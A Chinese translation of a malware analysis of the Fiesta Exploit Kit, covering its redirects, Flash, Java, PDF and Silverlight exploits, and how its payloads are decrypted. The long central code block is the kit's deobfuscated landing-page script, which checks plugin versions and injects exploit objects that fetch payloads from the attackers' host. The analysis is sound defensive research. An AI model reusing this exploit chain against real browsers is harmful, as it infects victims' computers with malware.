深入分析 Fiesta Exploit Kit – 爱小狐狸的小螃蟹

0x00 前言


from:http://blog.0x3a.com/post/110052845124/an-in-depth-analysis-of-the-fiesta-exploit-kit-an

在这个文章中,我将一步步介绍Fiesta Exploit Kit是如何工作的:如何重定向,攻击感染客户端,包含一个Flash exploit,Java exploit,PDF exploit,在最后解密他的payloads.

第一步是感染我的虚拟机,幸运的是重定向页面仍然还在

image

在页面结束前,插入了一小段代码,有一点混淆,但是解码很简单:

image

exploit kit在znaaok.myftp.biz域名商,当时指向ip是92.63.87.16,在VirusTotal passivedns中查询该IP,有很多相似的域名

image

所有域名活跃时间都非常短暂,经常轮换。

0x01 The landing page


继续分析,虚拟机的浏览器每个页面都被嵌入javascript代码:

image

这个案例当中,exploit是一个Flash exploit,MD5值为f77e25d5a04d8035d49a27d1b680e35d

在VirusTotal提交样本的时候57个杀毒软件中只有3个可以识别出。

从Fiddler的请求中可以确定下面的顺序:

76:客户端访问页面页面
80:客户端下载flash exploit
81:客户端溢出成功后执行payload

再重新开始,当用sublime打开页面的时候,我立刻认出这是我2013年就见过的。除了上面的一些随机文本字符,JavaScript的混淆是一样的:

image

进行反混淆的工作:

1. 搜索Decrypter字符串
2. 解密所有使用过的函数跟字符串
3. 替换所有使用的变量
4. 删除所有被分割的字符串(如:var a = ‘from’+ ‘Char’ + ‘Code’)
5. 清理代码(删除未使用的变量)
6. 给变量函数易懂的命名

第一步找解密函数:

image

又去的是Fiesta没有改变解密函数,只是换了key,也可以在messop()函数中看到

image

现在怎么从哪些混淆的代码中解码呢,很简单,解密函数的的 顶部实际上是来自bonyv()函数,底部是seam9j函数,给他们换个易懂的名字。

现在可以把所有调用名字为messop()函数替换一遍:

image

正如你所看到的,开头大部分声明的变量都是全局变量。解密所有的字符串之后,我们开始替换全局变量(比如lintl变成window.document等使代码更易读一些),整理之后,页面的结构更清晰了:

#!javascript
function CheckWindowsInUA() {
return (/Win64;/i.test(window.navigator.userAgent) || /x64;/i.test(window.navigator.userAgent));
}
function InjectScript(script) {
var injected_element = window.document.createElement("div");
window.document.body.appendChild(injected_element);
injected_element.innerHTML = script
}
function InjectIframe(url) {
var injected_iframe = window.document.createElement("iframe");
injected_iframe.frameBorder = '0';
injected_iframe.width = '10';
injected_iframe.height = '10';
injected_iframe.src = url;
window.document.body.appendChild(injected_iframe);
return injected_iframe
}
function isStringContainingNumber(item) {
return (typeof item == 'string' && /\d/.test(item))
}
function ExtractVersionNumbers(data) {
var double_num_regx = /[\d][\d\.\_,-]*/;
var extracted_vnumbers = isStringContainingNumber(data) ? double_num_regx.exec(data) : null;
return extracted_vnumbers ? extracted_vnumbers[0].replace(/[\.\_,-]/g, ',') : null
}
function GetTridentVersion() {
if (!/Trident\/(\d)/i.test(window.navigator.userAgent)) {
return 0
} else {
return parseInt(RegExp.$1)
}
}
function NormalizeVersionInfo(data, vlength) {
var templ_array = ['0', '0', '0', '0'];
var versioninfo = ExtractVersionNumbers(data.replace(/\s/g, '')).split(',');
for (var i = 0; i < versioninfo.length; i++) {
if (!(/\d/.test(versioninfo[i]))) {
versioninfo[i] = '0'
}
}
return versioninfo.concat(templ_array).slice(0, vlength)
}
function IsActiveXAvailable() {
return (typeof window.ActiveXObject != 'undefined');
}
function PadVersionInfo(vinfo, padding_size, prepend_padding) {
while (vinfo.length < padding_size) {
vinfo = prepend_padding ? '0' + vinfo : vinfo + '0'
}
return vinfo
}
function CreateFirstAvailableActiveXObject(obj_array) {
for (var i = 0; i < obj_array.length; i++) {
try {
var obj = new ActiveXObject(obj_array[i]);
if (obj) {
return obj
}
} catch (exc) {}
}
return null
}
function GetAdobeFlashVersion() {
try {
if (GetTridentVersion() == 7 || IsActiveXAvailable()) { // Is it MSIE 11 or is ActiveX available
var flash_obj = CreateFirstAvailableActiveXObject("ShockwaveFlash.ShockwaveFlash");
if (flash_obj) {
var versioninfo = NormalizeVersionInfo(flash_obj.GetVariable("$version"), 4);
var padded_versioninfo = PadVersionInfo((versioninfo.slice(0, 3).join('')), 6, false);
return [padded_versioninfo, versioninfo[3]]
}
}
} catch (exc) {}
return null
}
adobeflash_version_info = GetAdobeFlashVersion();
// Adobe Flash Player CVE-2014-8439
function AdobeFlashExploit_CVE20148439() {
if (adobeflash_version_info != null && adobeflash_version_info[0] >= 120000 && adobeflash_version_info[0] <= 150000 && (adobeflash_version_info[0] != 150000 || adobeflash_version_info[1] < 189)) {
var exploit_params = "piw6lxXpfkwegJaaRh9yYgEZVLcA55HsZ68S1_F1pgbBWY2pBlgF1KzoEp2_Vrzpm4QERd5HhfMQnX2YZU87ekOFPqqWr7w5gzAQpubXJNPmHRV6MQ4Kx4z5VnkuHXgvl9TEePJvZ2GWcTfa-Jns94w-fb9PKnu1OTZaAEIEUAkkUEPodUhfqXslvZJWGXBPjofZyQo5vZ-14ChOmHzf8tWNnRVXFj_bM1kY8HoQ81LvfCZAf-nWvUZAHoR8Jb9FuniDwzmiGv2HKtvV6eef-RgXRDczxIcnw5Tna20sd09SJIY3JWo7Ujo3k3U4gna2J4c2RXhKanqwSkaRwp6rt5lz4OUl2tdtRol2OdtwaG8n0P8EouyzUGHCNKZ1ClbsunXhw6_MTUhdCeNlmxiuqk65st34XERp7FIyoC9k6c5kxtoq_6cNfk8zAZLtIO2QfKm7-H2WjB3wl1i-8PkbsSx7gF2RyVPM7oLJWtHwlbfE03JHtk04dCyQaxDzONPHfvVQcGMlvD6-1TMBctB3Zmjtj9zaa8BBaMJM7ivmOqKThtGQJLil2u8XMjH0ivihNjXoYYcMNynbkB9P7VL3wvRSbks3I6f_6FWX9xp3UrejTGFjB-dDcx4lxu0Mg6Gx1PPDG6krSynCyvyPMr_DNt3GE3lgIpchO2Md7UYHb-0zbDvGQ-mwVJ58cZbi62lXVFY2ZgpJIpLgNqiia44rAIbJIvxGCt00fTn4PTOAdRDHq9XCB1RKQ_wGohmAL5ztpg52RUaYa71LyG5yuteeu7kz2ph8BpRSsdvP3dqjRluSk224GVJdBx_PZ9Qnr4yqrYica48cyGlp6JN89Jb0v9B5r6KFtlia-K9_kfkKYReic_v6GKPVLRfC0Eq8RdX6tmckvWIdfBnxjRcM-HrL3zIL3_IL39sieJ-SS1OogSemH-2uH-2iOio3F7S6VHfaxxKB7cdR3HG-kaFqPnpmuaaw3Ip2k_F8folcYRKm9kCPYvtlSutX_bdEPBA6A2ZoE90adMKiiJusiJDriJdliGmpi5g-tRleE12-CDTTxH8hx1RECR-JuaLVgheHWPZ7c0z6dSvp2-bOaLzrTSNuEWODpVITQ3O7CNZ9C4mbg4n5ZoXeC0CIzdV75R1Sk0XG5Adwoy7GrG8ZbmvDeUDM-9O7Arh1BL1k4bm7W6-KU3zHsvhrh9yN3KU2kQb_qDYsvv3V_qVEzybFz9tZxRHHUvgmfGQWUirBU4PBbnJ1uCCBV8YrgOncBNdSjJVTHJoFjkaj0JUbJkR0f4SkGIxkwjxkUyxkdyb7wYwzAuracpjrApTQfOy13sCQWTaXHpvLRkkGxz0Uy3GSAZ2pTuIReLzpCNpRoRsr6LyF2EK1Cm-1JFzCdwMOAfz-vGbDEKFKnetJoHSgpPSz95K5ucMytnRAqJkpLL2-xsrpO4xzNTvt0l9qprz5KHep8F7dOaAvNGLpW7kvW6LTxNjIPb69bYOIDS7WVwrrbS7X2H6f5HqcZzZdOQKeCBuSCqWiM5AsVaAsMcLNM4hSIltlMvZWMTWHD4lHMTlKMTly2SlJkwlTH4LYHyDSVTtSBM5mju8To61rciGw8DpauEsb-Mh91Ib5oiFXzOenZ4Se24gJGFYNqOk58i0Wm6ePAnNNmntsEe2zE8PRH0SWZmxpIhm6eT-rV4c-QlKrOsJcDP4lqNQbuMu3_K6xb6pNkq9zwFNLrLDjgR8v-UMWNjGimNfBEtjqQsjqQsjFD4mkrbWVPaU1IQ53gG--JQrclHKyzNcRWJu1LJeSDtZRIsh4gO5GxF5KCTrGxvllxJIQCBrzMBLtxBMwIBhsZQqwZyZeOvkcZ4ZwIvCeMqtUMtxaMtWKMOOaISW7MBWNCS-WqcWYqFOyOsCv";
var exploit_inject_script = "<object width=10 height=10 id='swf_id' type='application/x-shockwave-flash'><param name='movie' value='twQHU'/><param name='allowScriptAccess' value='always'/><param name='FlashVars' value='buys0=r_SET&softq='/><param name='Play' value='0'/></object>";
exploit_inject_script = exploit_inject_script.replace('r_SET', exploit_params);
var exploit_url = "http://znaaok.myftp.biz/ai_qkvu2/1f247c512126d3ff04500b0f005802090150020f0301050a0452500202515409";
exploit_url = [exploit_url, adobeflash_version_info[0], adobeflash_version_info[1]].join(';'); // Insert flash major and minor version numbers in URL
exploit_inject_script = exploit_inject_script.replace('twQHU', exploit_url); // Insert payload URL
InjectScript(exploit_inject_script);
}
}
AdobeFlashExploit_CVE20148439();
// Adobe Flash Player CVE-2014-0497
function AdobeFlashExploit_CVE20140497() {
if (adobeflash_version_info != null && adobeflash_version_info[0] >= 110000 && adobeflash_version_info[0] < 120000) {
var exploit_params = "Uty7aGiUrcYF-SKBlUybGiX686yCWAJYkL2tmkcj2hQ6Ter1eQxHH4Ox79uRvZ7Ysf6TNwwD9jGIyAsRUo7uhbiATr4LFUH9Y1MS2cYV7INrs7tmRr-pqrCIvFJ71qMTM19LJqkTyDecQ9pz2kCODWKrBfNdLSL-jPcqt7jVZTqSZarovw2fxsylV_kWfFZ-99AavMpGyB4jQVvpMqxz4HVRS4xQrs_asQkzKVoSK5sTWHiAWyKWCziAxkr8IEJlSFD-WI2_Z5hGBzkSv4TzqxxQH9bf6sZp_-JpgBVQvFFt3N7T3_jjeYjTIs0dNq6AnASAC68b5IVtlJ-_WoR-pQga8IoKGCdsHylRpYtNgjH0BOqEbYpzeLtCgqS15FsWc0ImzK-UB02_E4HxM1R7-JsIMhRXB6RYCUIjAq98YiW8g8-MD3T1G2C2KWdDktmYGF2O2bmsVZFJwxG-uLLbMct7YpdRVvdpCwu45rwNOLiL36ZgqgEXYaeP3j22L4LTTGCYCyged2SLY9xBCzQ3jiUtZRQa1lB61QJ0wev8JVsq18cyObjKbGxnlpeVYNDmgpIn14BUR7KyEZIvICcT_5z0f_ZTcXgixd7VYBxPRQ7CsjyWlyAFuy6-qrp6NZKjHRLEh9Jux7xAM5SPy_2DizdG5K9gcSZ0A5AIeYb6Ny3FNBtNvyXHvDz3utZ2-8N1v9s3U8ow7oN0RHGage3OOngVcDCo7n0nb-nJh-OxE7MGNfmUW5UlMe7NcuPMH96cSo43MutQlyI-kKkdVz9jky52Gc-BXc_tMw4-JwF1NnjtEZIX_qOyPQCQLotvtA79tEmtlmhtkKnINkM3QkDV3TLeFATqpribq-9iEakq177_CWt6_XMVZ5uC4b48atIZrQBF4gX_gZxjI-y6rq2evtVevNgevEsth8-hxbOl7m7zuyIeuyIwD9ETpiOAvIMBqJNazoLPrquLG6RFmIaDk6pHvWViuNqdbYKW1Glrhgh31xvrVYvyQjA9b-XA97Bn61UBPQG82kRW2k_-2kEKNKRxNLIrpGlN5b2PdqTqiCVii5UEd70JcUgVNOHHhzSOuG6ZPoeIiju7zx-OJwA75littbf00GsZ78c5diDa-pP94emjdF_5_lruCbC3IJjvCquJDXyvfKD6FikDB0_MqTz7OkR1XqoS8VDv7jrbC6H6Ox1-EfFGydRiIPZRxtsWVnEfGDCDf7IkfT1Cs-r2W5OFbEtIWeryWmPyctJf2Hhypt9-jPDZLuABT0pJx0xkTUtxO8Vy-JugWe7hhngh_XghWA0hJAYb_UHcMw-ZZ4udM4sXgPFYyX_Xh07Q1K5-aCJvSgUMMEjzQBOprdJRhPrp7h0Rz9smxHyliGKfUSpfT05UPUPsKZ5rVVcm7CH5JMawbPZ0OL6ShvwI5T1dxMkFrQdKkCTJtFeBwS7j66QXLQsI2nvMAc69QLtaDnIGg8mIBDKGBHtHgswjhKdkgs8jl4J7QYj0g4lDwbkLuZtNUklKplcRqFAAqdt9kijWHIjWDRD4D7OzLbPKDW_7O92wlYgwOaIHOaIZewIeRcO5usMSuKIY5t5YLyFuTHRHFn0uTWJJCfZBXVVooiGhznUua0bQ15OUIYHJeY3ehSGFdvOPKURnsJ65K6Jrs6WW72PSoO2PWEosNfBx2V4tE9T-QYnrVWL0MeiNF1_SmWv958ARGyeC2JEJIdKQoPJ-twLx2Z_Gp85sbPpaAsF8ez4MVeRMVe-dlYU_ivlOE9EZ0ltFp7U4lKCfJokpWfOPzXDX8Pqz_HrPVb1oxHNpWNbpWyyotBjwtQKSEvjFuqISEtOXutxfLslXDoOXDROtD_Wk1R5l1HCbVwPaVH17ObvGZrNyOxLsW-jY6olt6sI6Ae1l";
var exploit_inject_script = "<object width=10 height=10 id='swf_id' type='application/x-shockwave-flash'><param name='movie' value='xVpWi'/><param name='allowScriptAccess' value='always'/><param name='FlashVars' value='talkh=P69jl&diadx='/><param name='Play' value='0'/></object>";
exploit_inject_script = exploit_inject_script.replace('P69jl', exploit_params);
var exploit_url = "http://znaaok.myftp.biz/ai_qkvu2/44f7aa1e1db111d0000d510c565a065d0402560c5503015e010004015453505d";
exploit_url = [exploit_url, adobeflash_version_info[0], adobeflash_version_info[1]].join(';'); // Insert flash major and minor version numbers in URL
exploit_inject_script = exploit_inject_script.replace('xVpWi', exploit_url); // Insert payload URL
InjectScript(exploit_inject_script)
}
}
AdobeFlashExploit_CVE20140497();
// Get the highest available Java version
function GetHighestJavaVersion() {
try {
var jvms = null;
var java_object_class_ids = ["clsid:CAFEEFAC-DEC7-0000-0001-ABCDEFFEDCBA", "clsid:CAFEEFAC-DEC7-0000-0000-ABCDEFFEDCBA"]; // Initiates the Java Deployment Toolkit
for (var clsid_i = 0; clsid_i < java_object_class_ids.length; clsid_i++) {
var java_object = window.document.createElement("object");
java_object.setAttribute("classid", java_object_class_ids[clsid_i]);
if (typeof java_object["jvms"] != 'undefined') {
jvms = java_object["jvms"];
break
}
}
if (jvms != null && jvms.getLength() != 0) {
var version = 0;
for (var jvm_i = 0; jvm_i < jvms.getLength(); jvm_i++) {
var jvm_verion_info = NormalizeVersionInfo(jvms.get(jvm_i)["version"], 4);
var c_version = parseInt(jvm_verion_info[1].concat(PadVersionInfo(jvm_verion_info[3], 2, true)), 10);
if (c_version > version) { // Check if this version is higher than the previous
version = c_version
}
}
return version
}
} catch (exc) {}
return null
}
java_version = GetHighestJavaVersion();
java_enabled = window.navigator.javaEnabled();
// Java Runtime Environment CVE-2013-2465
function JavaExploit_CVE20132465() {
if (java_enabled) {
if ((java_version && java_version > 630 && java_version < 722) || (!java_version && java_enabled)) {
var exploit_inject_script = "<applet width=10 height=10><param name='cent' value='http://znaaok.myftp.biz/ai_qkvu2/44075e88a64ef0cd574c550c025e0f000402000c010708030100520100575900;1;[email protected]@'/><param name='jnlp_href' value='http://znaaok.myftp.biz/ai_qkvu2/49efdc53b7b51fa25e57095d5358020b040f555d50010508010d07505151540b'/></applet>";
if (java_version && java_version >= 710) { // Since 7u10 bundling has to be selected for self contained applications (https://blogs.oracle.com/talkingjavadeployment/entry/packaging_improvements_in_jdk_7)
exploit_inject_script = exploit_inject_script.replace("</applet>", "<param name='javafx_version' value='2.0+'/></applet>")
}
InjectScript(exploit_inject_script)
}
}
return
}
JavaExploit_CVE20132465();
// Java Runtime Environment CVE-2012-0507
function JavaExploit_CVE20120507() {
if ((java_version && java_version < 631) || (!java_version && java_enabled)) {
// Hex encoded string, contains non-ascii characters
var exploit_param = "aced0005757200135b4c6a6176612e6c616e672e4f626a6563743b90ce589f1073296c020000787000000002757200085b4c6c6170736b3bfe2c941188b6e5ff02000078700000000170737200306a6176612e7574696c2e636f6e63757272656e742e61746f6d69632e41746f6d69635265666572656e63654172726179a9d2dea1be65600c0200015b000561727261797400135b4c6a6176612f6c616e672f4f626a6563743b787071007e0003";
var exploit_inject_script = "<applet archive='http://znaaok.myftp.biz/ai_qkvu2/5b76b7bdcefb3f0d5410560d550c555c0554070d5655525f005655005705035c' code='vailt' width=10 height=10><param name='ptas' value='http://znaaok.myftp.biz/ai_qkvu2/5230fd54a64ef0cd564a560b515f020c0504030b5206050f000651065356540c;1;[email protected]@'/><param name='hamm' value='JRgN_'/></applet>";
exploit_inject_script = exploit_inject_script.replace('JRgN_', exploit_param);
InjectScript(exploit_inject_script)
}
return
}
JavaExploit_CVE20120507();
function PadNumber(number) {
return (number < 10 ? 0 : '') + number.toString()
}
function FormatVersionString(vdata) {
return (vdata[0] + '.' + vdata[1] + '.' + vdata[2] + PadNumber(vdata[3]) + PadNumber(vdata[4]))
}
function IsSpecifiedVersionSupported(obj, v_array, index, new_vnumber) {
var nversion = v_array.slice(0);
nversion[index] = new_vnumber;
return obj.IsVersionSupported(FormatVersionString(nversion))
}
function GetSilverlightVersion() {
var sl_plugin = null;
var sl_descr = null;
try {
if (GetTridentVersion() == 7 && (sl_plugin = window.navigator.plugins["Silverlight Plug-In"])) { // MSIE 11 available and Silverlight
sl_descr = sl_plugin["description"]
} else if (GetTridentVersion() == 7 || IsActiveXAvailable()) { // MSIE 11 available and ActiveX
var sl_obj = CreateFirstAvailableActiveXObject(["AgControl.AgControl"]);
var supported_version = [1, 0, 1, 1, 1]; // Base version
var version_supported = 0;
var highest_version = [6, 2, 9, 12, 31]; // Highest version we go to
if (sl_obj && sl_obj.IsVersionSupported(FormatVersionString(supported_version))) { // Lowest version is available
// Following section bumps version numbers untill it hits one not supported
for (var i = 0; i < highest_version.length; i++) {
for (var version_num = supported_version[i] + (i == 0 ? 0 : 1); version_num <= highest_version[i]; version_num++) {
if (!IsSpecifiedVersionSupported(sl_obj, supported_version, i, version_num)) {
break
}
version_supported++;
supported_version[i] = version_num
}
}
if (version_supported) {
sl_descr = FormatVersionString(supported_version)
}
}
}
if (sl_descr) {
return NormalizeVersionInfo(sl_descr, 3).join('')
}
} catch (exc) {}
return null
}
silverlight_version = GetSilverlightVersion();
// Microsoft Silverlight CVE-2013-0074
function SilverlightExploit_CVE20130074() {
if (silverlight_version >= 4050401 && silverlight_version < 5120125) {
var exploit_inject_script = "<object data='data:application/x-silverlight-2,' type='application/x-silverlight-2' width=10 height=10><param name='source' value='j2VIH'/><param name='initParams' value='pave=YOsTWLl1BQAASYA0CB+FyXX3/9Bhw+jo////9pMbHx9BluySTLemQW6kT6dtf2hrTfebHB8f45boso78C/eZHB8fjbKO/O2Wz/ewHB8ftPTtpqZsLsina36rH3Uf90ccHx/3IRwfH4jgTAsjGW0rT0t1F3Xg4EwnRY78OE9Ldx8PHx9IdQZN4Ewjjkf8CpQYEKlXHlaSW5cXlBef4j9sHOFcsfdrHR8fjvxtLt+zmt9rSk9I4ExfSUhI4ExbRx7Z9+ceHx+O/Ep1FEdXa1BPn2SxHmsO96YeHx+a32o84Ax5IvsdavufZPIfahJI9ywfHx+a32oU4Vzy9wweHx+O/NZHsh7Z9LuIkmxnSbMmIWrk2BkkLh8fQffgHh8f3HUfdeHgTBtJSEqW+qZEizSL94sdHx+O/GFOkkyHTeBMK5rfa22UTyOW2ZbYHJsPnx8fH5QX/H9/HG8TLt+G5vfJHR8fauee5UFupE9+axqc3wv0wOBvDx7RLtZWXrKa32sqSZJrGB0u34bn97UdHx9q557lSGvf60Fq/kEe4ZQrkUaUTiOUWw4DHFMOMx7XJtFtGybZaRcu39ZAQd0bH0mUag9JsprfauSY6EGSTIFNSeBMT478/05OTuBMU0bZHh9PSUjgTFtH2R9DSEhJmOGymt9q5HVgSeBML5IjGZJcsE9I4EwTdR9J4ErjnOcAaLf0u0lISpb6luGymt9q5ElIkmTxmOGzebSb32rmkmDhSOBMM0jgTFdBdSNGNtOW+E5ILt/stUCQGHVsd3Effh93bR9qH5Z4E6Zwii4Pp7APFLf3Sh4fH5ZYF3V6d3ofZx93ex8xH3d8H3IflngPlmgLprQ7yMinaf7w2Uj3NB4fH9ZAQdxISpb6dUtGNtOW5Zb4SC7f7LVAklAPdVuQHkhOT09PT09PT03gTDfWQNxISS7fT091Hk91HHUcSOBMB19rBleIsnUfS09JSOBMA5rfaxZI4Ew/SOBMO19BQNxJTJbhLt+G4dk2zh7ISE4uxIbh3JUbAR/dmRsJlxsBHRsJlRsZLRi1/fdGQERB3Eou1k6W/U5OTUlOpsKTvginsiHO3vebHx8fQprfanma4Gt7lFofdR9ISuBPL5rfakuUWBea32tST0tP91YfHx+JSUqUWh/gTxNGmt9qKLKNsi7PIllMS09qNLIuzybXajuyLs9PmOic9g/3feDg4E5IdR/gTBdGJtdqFeApSeBMM5jo9B0u30Lcph8PHx+a32odltd1X05PdR/gTA/cT/cXHx8fRvcoHx8f4P9ISUwu4HuUYC+UYBOUYAuW5C7fhpQgJuRrCJRoN5rpa+/m91YfHx+zaugm1ZRYD2r/REFA3H+UTyOW3JbZTxxbD2cu8lp/HEc/HCu0Lt+G5/cEHx8faucm1X5q9xxHOxCoM3QcbwNHHBuxlls7A37cs2wZI35tHTM/3tUSHt2b39x3c3ZxdB9DH1MfcB9oHx8fam1zcnBxH0N8cnsxemd6FkMxMUNxcGt6b357MXpnej8wfD98cG9mPzBGPz06TD0/PTpMPT85OT9sa35taz89PT89Okw9HzB8P2xrfm1rPz09Px/3cOTg4Ll0isDKtC6cZPXeY6eQEWqGpOn/Hx8fH0FupE9hkrtN02ERFB//xKJMX+DXg6DWMfNgx6CAql/rxUORTzTYEtFtf2hrHx8fH0AXpkTq12UnxMHJbR8fHx9IRFR8AYp0mHDjKDuW06LXAA+M9PV/mKQfHx8fHx8fH3dra28lMDBlcX5+cHQxcmZ5a28xfXZlMH52QG50aWotMC4sfih+KC96KXsrKnx5KX0qLSssL34vfCopL3wvKCp7Ly4vKiouL3wqKioqLy8qei8rLygvLC8uKisvKiouKnskKh8fHx8='/></object>";
var exploit_url = "http://znaaok.myftp.biz/ai_qkvu2/2b6b367b48844f2e410e4059040d005a0254065907540759075654540604565a";
exploit_url = [exploit_url, silverlight_version].join(';'); // Insert Silverlight version numbers in URL
exploit_inject_script = exploit_inject_script.replace('j2VIH', jnv);
InjectScript(pa)
}
}
SilverlightExploit_CVE20130074();
// Microsoft Internet Explorer CVE-2013-2551
function MSIEExploit_CVE20132551() {
var fut, om;
var trident_version = GetTridentVersion();
if (        !CheckWindowsInUA() &&
(       trident_version == 6 || // Trident version 6, identifies Internet Explorer 10
trident_version == 5 || // Trident version 5, identifies Internet Explorer 9
trident_version == 4)) // Trident version 4, identifies Internet Explorer 8
{
InjectIframe("http://znaaok.myftp.biz/ai_qkvu2/40319b9a99f7cc915d555f0a0e590e590406030a0d00095a010451070c505859");
}
return
}
MSIEExploit_CVE20132551();
function GetAdobePDFVersion() {
try {
// If its MSIE 11 or ActiveX Controls are available instanciate PDF object, otherwise null
var activex_obj = (GetTridentVersion() == 7 || IsActiveXAvailable()) ? CreateFirstAvailableActiveXObject(["AcroPDF.PDF", "PDF.PdfCtrl"]) : null;
var pdf_obj = window.document.createElement("object");
pdf_obj.setAttribute("classid", "clsid:CA8A9780-280D-11CF-A24D-444553540000"); // Initiates the 'pdf.ocx' ActiveX control
pdf_obj.setAttribute("src", '');
var version_string = null;
try {
// Get version of either one of the valid objects
version_string = (activex_obj || pdf_obj).GetVersions()
} catch (exc) {}
if (version_string) {
var version_extract = version_string.match((/=\s*[\d\.]+/g));
var version = 0;
for (var i = 0; i < version_extract.length; i++) {
var c_version = parseInt(NormalizeVersionInfo(version_extract[i], 3).join(''), 10);
if (c_version > version) {
version = c_version
}
}
return version
}
} catch (exc) {}
return null
}
adobepdf_version = GetAdobePDFVersion();
// Adobe PDF CVE-2010-0188
function AdobePDFExploit_CVE20100188() {
var triden_version = GetTridentVersion();
if (triden_version == 4 || triden_version == 5) { // Check for MSIE 8 or 9
if ((adobepdf_version >= 800 && adobepdf_version < 821) || (adobepdf_version >= 900 && adobepdf_version < 931)) {
var exploit_inject_script = "<object classid='clsid:CA8A9780-280D-11CF-A24D-444553540000' width=10 height=10><param name='src' value='irH3d'/></object>";
var exploit_url = "http://znaaok.myftp.biz/ai_qkvu2/6b2f2de7ba83a9dc5a0b505d055f520f0654025d0606550c035650500756040f";
exploit_url = [exploit_url, adobepdf_version].join(';'); // Insert Adobe PDF version numbers in URL
exploit_inject_script = exploit_inject_script.replace('irH3d', exploit_url);
InjectScript(exploit_inject_script);
}
}
return
}
AdobePDFExploit_CVE20100188();

看一下Fiesta使用了哪些漏洞:

Adobe Flash

CVE-2014-8439: Adobe Flash Player before 13.0.0.258 and 14.x and 15.x before 15.0.0.239 on Windows and OS X and before 11.2.202.424 on Linux, Adobe AIR before 15.0.0.293, Adobe AIR SDK before 15.0.0.302, and Adobe AIR SDK & Compiler before 15.0.0.302
CVE-2014-0497: Adobe Flash Player before 11.7.700.261 and 11.8.x through 12.0.x before 12.0.0.44 on Windows and Mac OS X, and before 11.2.202.336 on Linux 

Adobe PDF

CVE-2010-0188: Adobe Reader and Acrobat 8.x before 8.2.1and 9.x before 9.3.1 

Java

CVE-2012-0507: Java SE 7 Update 2 and earlier, 6 Update 30 and earlier, and 5.0 Update 33 
CVE-2013-2465: Java SE 7 Update 21 and earlier, 6 Update 45 and earlier, and 5.0 Update 45 and earlier, and OpenJDK 7 

Silverlight

CVE-2013-0074: Microsoft Silverlight 5, and 5 Developer Runtime, before 5.1.20125.0 

Microsoft Internet Explorer

CVE-2013-2551: Microsoft Internet Explorer 6 through 11

有趣的是,Fiesta exploit kit完全专注的IE浏览器,检测到Adobe PDF, Adobe Flash, Java插件也只是用于IE。

0x02 Following the flash exploit landing page trail


通过网络抓包可以确定虚拟机是被用的FLash exploit攻击,通过对比URL看到使用的是CVE-2014-8439。

这个CVE最初由kafeine在Angler exploit kit中以0day的方式发现的。CVE-2014-0569 (Flash Player) integrating Exploit Kit Out-of-Band Flash Player Update for CVE-2014-8439

反编译ActionScript代码之后,我们找到一段脚本:

image

整理之后代码:

image

截图显示的不是很完整,有一个函数没有展示出来LoadComplete函数:

image

stage 2的数据追加到root/main对象中,stage 2实际上是另外一个flash文件,通过addChild函数,stage 2 flash文件将会被激活,从内存当中dump出来解密的stage 2数据,我们可以看到Flash文件的头:

image

反编译这个FLash文件获得了大约820行的ActionScript代码,我不打算针对这个漏洞继续深入他是如何利用的,如果你想知道是如何利用的已经有人写过相关文章 An interesting case of CVE-2014-8439 exploit

截图当中的ActionScript代码只是第一步打包加载的作用,第二步才是真正的利用漏洞获取执行权限,为了获得执行权限,垃圾收集器的

垃圾收集器内部有一指针指向一个ITelemetry对象,通过一个包含精心准备构造虚拟表的ITelemetry对象能够获得执行权限,修改虚拟表后的ITelemetry,替换了正确的ITelemetry函数,指向了我们的shellcode。

反编译完嵌入的flash文件(第二步中)之后,我们得到了一个简单的as脚本,发现了一个有趣的函数initialization,代码引用目标网页上的一个变量,然后调用了一些函数:

image

如果我们跟踪seatk函数,看到了跟之前很类似的代码,是一个字符串解密函数:

image

看来Fiesta把同一个加密混淆的函数用在了很多地方,函数返回解码后的数据就是结合ROP链利用的shellcode。

由于这个flash漏洞(CVE-2014-8439)是刚刚发现的,POC并没有放出来,所以我不会泄露利用的细节。

现在已经知道了Fiesta现在的使用的攻击:

登陆页面给使用哪个shellcode/payload提供信息 exp有打包来应对检测 第3阶段的exp显示他是一种可以很容易置换的框架

接下来讲一下针对Java 的exp

0x03 JAVA payload解密


该java的exp样本基于CVE-2013-2465

5c6c4a6a4c5adc49edabd21c0779c6e3

我们可以从登陆界面发现,‘JavaExploit_CVE20132465’ 功能,对java applet进行如嵌入。

在我们反编译jar包之后我们可以得到一份存在一些混淆的java源码,审查源码我们可以发现,其中一个功能在于下载payload并执行。对java源码进行处理后如图片所示我们可以一份清晰的源码。

image

让我们先看函数的顶部,我们可以发现exp似乎对不同的payload提供了支持。

下载payload之后读取前256个字节,其中包括了xor key以及payload的有效部分,我们可以在虚拟机中分析这256个字节的差异。

image

其中我们可以看到关键的java代码在于 “Decrypt” 功能,用于payload的解码,在还原java源码之后,这部分函数如下图所示:

image

代码的第一部分使用两个index把需要解密的每字节数据递增,两个index中key的值被交换,相加掩藏在形成为XOR运算的关键位置。

这个XOR解密用在整个PE数据回收中,从前面的代码段中还可以看到payload的文件名是纯数字的为当前的计算机的时间。

在将java代码转换成python后我们可以很容易的解码他。

images

在成功解码数据后我们可以将payload放入Fiesta,现在在payload上让我们尝试我们前面说过的flash exp。

images

可惜看起来似乎不能工作,解密后的payload的运行结果无论是Flash,adobe PDF还是Silverlight都返回错误。它看起来似乎不是普通的java代码,是利用了一种基于控制执行的shellcode,并且使用不同的加密手段。我们可以从硬盘上解密出的payload看到,是不同于最初256字节的XOR块的,payload可以传输任何shellcode。

images

现在我们需要查看exp中的shellcode,先前我们已经看过了flash exp但是停在了利用点,现在我们可以通过java exp去解密payload,那么接下来我们来看看另一种类型:adobe pdf

0x04 Adobe PDF exploit


样本:f4346a65ea040c1c40fac10afa9bd59d

使用peepdf分析PDF:

image

peepdf告诉我们有一个AcroForm和一些JavaScript。我们看一下AcroForm,就会看到调用初始化时其实用的是JavaScript,手续跟踪object关系直到找到XFA:

image

下滑就找到真正的AcroForm脚本,就能找到初始化设置的(混淆的)JavaScript代码

image

清理下代码找到最后看看漏洞如何触发的,在这段JavaScript代码中,一个恶意的image对象被shellcode创建:

image

在expl_imgdata传给image之前提取出来,可以用base64解码,看看shellcode,在shellcode当中我们找到真正的解密函数,与之前的Java exploit完全一样。

256字节的XOR key之前有16个(额外)个字节保存信息。shellcode中下载payload,前16个字节被用于确定实际payload的大小,这些值是XOR的。前4个字节是下12个字节XOR key。看起来是这样子的:

image

解密这个payload,我们可以跳过前16字节,解密出来的数据多了25字节,25字节之后就是正常的MZ头,我们找到了有效的PE。那么这里有什么呢?更多的信息需要把文件放在系统上,MZ头之前的数据是文件大小,硬盘上的文件名:

image

